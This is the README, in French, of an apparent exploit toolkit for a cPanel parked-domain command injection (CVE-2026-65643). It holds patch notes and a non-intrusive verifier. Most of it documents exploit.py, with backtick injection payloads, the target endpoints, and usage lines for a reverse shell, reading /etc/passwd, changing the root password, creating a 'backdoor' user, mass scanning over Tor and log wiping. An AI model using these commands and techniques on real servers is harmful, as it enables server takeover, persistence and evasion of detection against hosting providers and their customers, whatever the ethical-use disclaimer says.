CVEPoC

CVE‑2026‑65643 – Kit de détection d'exécution de code à distance (RCE) pour le domaine parking de cPanel

⚠️ UTILISATION ÉTHIQUE UNIQUEMENT – TESTS DE SÉCURITÉ AUTORISÉS
Ce dépôt fournit des outils destinés uniquement aux professionnels de la sécurité autorisés, aux équipes bleues et aux testeurs d'intrusion.
L'accès non autorisé à des systèmes informatiques est illégal en vertu de la CFAA (États-Unis), du Computer Misuse Act (Royaume-Uni), du TCK 243/244 (Turquie) et des lois similaires dans le monde entier.

📖 Présentation de la vulnérabilité

CVE‑2026‑65643 est une vulnérabilité critique d'injection de commandes dans cPanel & WHM versions 11.x qui permet à un utilisateur cPanel authentifié d'exécuter des commandes système arbitraires avec des privilèges root via la fonctionnalité de domaine parking.

Comment cela fonctionne

Accès authentifié requis – l'attaquant doit disposer d'un compte cPanel valide (nom d'utilisateur/mot de passe) sur le serveur cible.
Injection dans le domaine parking – lors de l'ajout d'un domaine en parking, le nom de domaine n'est pas correctement assaini, ce qui permet à l'attaquant d'injecter des commandes shell à l'aide d'accents graves (`).
Exécution de commandes – la commande injectée est exécutée par le système avec les privilèges de l'utilisateur cPanel, qui peuvent être élevés à root via des techniques d'élévation de privilèges.
Privilèges root – étant donné que l'opération de domaine parking s'exécute avec des permissions suffisantes, des commandes arbitraires peuvent être exécutées avec des privilèges élevés.
Impact – compromission totale du serveur, vol de données, portes dérobées, ransomwares et mouvement latéral. Mettez à jour immédiatement !

Versions affectées

cPanel & WHM 11.110.0.140 et antérieures – vulnérables
11.134.0.52 et antérieures – vulnérables
11.136.0.36 et antérieures – vulnérables
11.138.0.1 et antérieures – vulnérables
11.138.1.6 et ultérieures – corrigées

Correctif

Mettez à niveau vers cPanel & WHM 11.138.1.6, 11.138.0.2, 11.136.0.37, 11.134.0.53 ou 11.110.0.141 ou une version plus récente.
Si la mise à niveau n'est pas possible, désactivez les permissions de domaine parking pour les utilisateurs cPanel comme solution de contournement temporaire.

🧰 Outils

Outil	Objectif	Utilisateur visé
`exploit.py`	Kit complet d'exploitation avec shell inversé, webshell, persistance, lecture/écriture de fichiers, changement de mot de passe root, scan de masse, support Tor et fonctionnalités OPSEC.

📊 Comparaison des fonctionnalités

🎯 Résumé des cas d'utilisation

⚙️ Installation

git clone https://github.com/tc4dy/CVE-2026-65643-Toolkit
cd CVE-2026-65643-Toolkit
pip install -r requirements.txt

requirements.txt

requests
urllib3

📋 Paramètres

Paramètres de `exploit.py`

Paramètres de `verifier.py`

💥 Scénarios

🧪 Points de terminaison et méthodes d'injection

L'exploit utilise les points de terminaison et méthodes d'injection cPanel suivants :

Format de la charge utile

# Format de la charge utile d'injection
test.com`<commande>`

# Exemple
test.com`id`
test.com`whoami`
test.com`echo 'pwned' > /tmp/pwned`

🛡️ Utilisation responsable

Utilisez ces outils uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
L'accès non autorisé est illégal et contraire à l'éthique.
Les auteurs ne sont pas responsables de toute utilisation abusive.
Respectez toujours les lois et réglementations de votre pays.

Ce logiciel est fourni uniquement à des fins éducatives et pour des tests de sécurité autorisés.

Détection de vulnérabilité	✅	✅
Détection de version (4 points de terminaison)	✅	✅
Injection de commandes	✅	❌
Shell inversé	✅	❌
Téléversement de WebShell	✅	❌
Persistance (création d'utilisateur cPanel)	✅	❌
Changement de mot de passe root	✅	❌
Lecture/écriture de fichiers	✅	❌
4 méthodes d'injection (JSON/Form/CGI/API2)	✅	✅
Support Tor (anonymat)	✅	❌
Rotation du User‑Agent (OPSEC)	✅	❌
Jitter (OPSEC)	✅	❌
Scan de masse (multi‑thread)	✅	❌
Shell interactif	✅	❌
Mode non intrusif (sûr)	❌	✅
Journalisation chronologique	✅	✅
Rapport HTML	✅	❌
Rapport JSON	✅	✅
Nettoyage des journaux (anti‑forensique)	✅	✅
Support proxy	✅	✅
User‑Agent personnalisé	✅	✅
Contrôle de la vérification SSL	✅	✅

Équipe bleue – vérification si votre installation cPanel est vulnérable	`verifier.py`
Audit de sécurité – évaluation de vulnérabilité non intrusive	`verifier.py`
Équipe rouge – tests d'intrusion autorisés avec exploitation complète	`exploit.py`
Bug Bounty – tests de divulgation responsable	`verifier.py`
Scan de masse – vérification de plusieurs cibles pour détecter la vulnérabilité	`exploit.py` (détection uniquement)
Réponse aux incidents – vérification si les systèmes sont compromis	`verifier.py`

`-t, --target`	URL cPanel cible (par ex. `https://cpanel.example.com:2083`)
`-l, --target-file`	Fichier contenant la liste des cibles (une par ligne) pour le scan de masse
`-u, --username`	Nom d'utilisateur cPanel
`-P, --password`	Mot de passe cPanel
`-p, --port`	Remplacer le port cPanel (par défaut : celui de l'URL ou 2083)
`--threads`	Nombre de threads pour multi‑cibles (par défaut : 10)
`-o, --output`	Enregistrer le rapport JSON dans un fichier
`--html-report`	Enregistrer le rapport HTML dans un fichier
`-v, --verbose`	Sortie détaillée
`--proxy`	Proxy HTTP/HTTPS (par ex. `http://127.0.0.1:8080`)
`--tor`	Acheminer via Tor (localhost:9050)
`-ua, --user-agent`	User‑Agent personnalisé
`--no-keep-alive`	Ne pas maintenir la session active
`--delay`	Délai entre les requêtes (par défaut : 2,0 s)
`--jitter`	Jitter aléatoire (0‑1 s) entre les requêtes (par défaut : 0,5)
`--max-retries`	Nombre maximal de tentatives (par défaut : 5)
`--ssl-verify`	Vérifier les certificats SSL
`--timeout`	Délai d'expiration des requêtes (par défaut : 15 s)
`--cmd`	Exécuter une seule commande sur la cible
`--reverse-shell`	Shell inversé IP:PORT
`--passwd`	Changer le mot de passe root
`--adduser`	Créer un utilisateur cPanel (UTILISATEUR DOMAINE MOT_DE_PASSE)
`--read`	Lire un fichier
`--write`	Écrire un fichier (spécifier le chemin)
`--write-content`	Contenu à écrire
`--cleanup`	Nettoyer les journaux et l'historique après l'exploitation
`-i, --interactive`	Shell interactif après l'exploitation
`--domain-suffix`	Suffixe pour le domaine en parking (par défaut : exploit.local)

`-t, --target`	URL cPanel cible (par ex. `https://cpanel.example.com:2083`)
`-u, --username`	Nom d'utilisateur cPanel
`-P, --password`	Mot de passe cPanel
`-o, --output`	Enregistrer le rapport JSON dans un fichier
`-v, --verbose`	Sortie détaillée
`--proxy`	Proxy HTTP/HTTPS (par ex. `http://127.0.0.1:8080`)
`--tor`	Acheminer via Tor (localhost:9050)
`--ssl-verify`	Vérifier les certificats SSL
`--timeout`	Délai d'expiration des requêtes (par défaut : 15 s)
`--cleanup`	Nettoyer les journaux après le test

1	Vérification rapide de vulnérabilité	`python verifier.py -t https://cpanel.example.com:2083 -u user -P pass`
2	Scan détaillé avec rapport	`python verifier.py -t https://cpanel.example.com:2083 -u user -P pass -o report.json -v`
3	Shell inversé	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444`
4	Exécuter une commande	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cmd "whoami"`
5	Lire un fichier sensible	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd`
6	Changer le mot de passe root	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123`
7	Créer un nouvel utilisateur cPanel (persistance)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123`
8	Shell interactif après exploitation	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i`
9	Scan de masse à partir d'un fichier	`python exploit.py -l targets.txt -u user -P pass --threads 20 -o results.json`
10	Utiliser proxy, Tor et User‑Agent personnalisé	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 --tor -ua "Mozilla/5.0"`
11	Nettoyer les journaux après exploitation	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cleanup`

Populaires

CVE-2026-65643-PoC-Toolkit

API JSON	`/cpsessXXXXX/json-api/domain`	Méthode d'injection principale via charge utile JSON
Données de formulaire	`/cpsessXXXXX/json-api/domain`	Injection alternative via données encodées en formulaire
Script CGI	`/cgi-sys/domainpark.cgi`	Injection via point de terminaison CGI hérité
API2	`/cpsessXXXXX/json-api/cpanel`	Méthode d'injection API2 héritée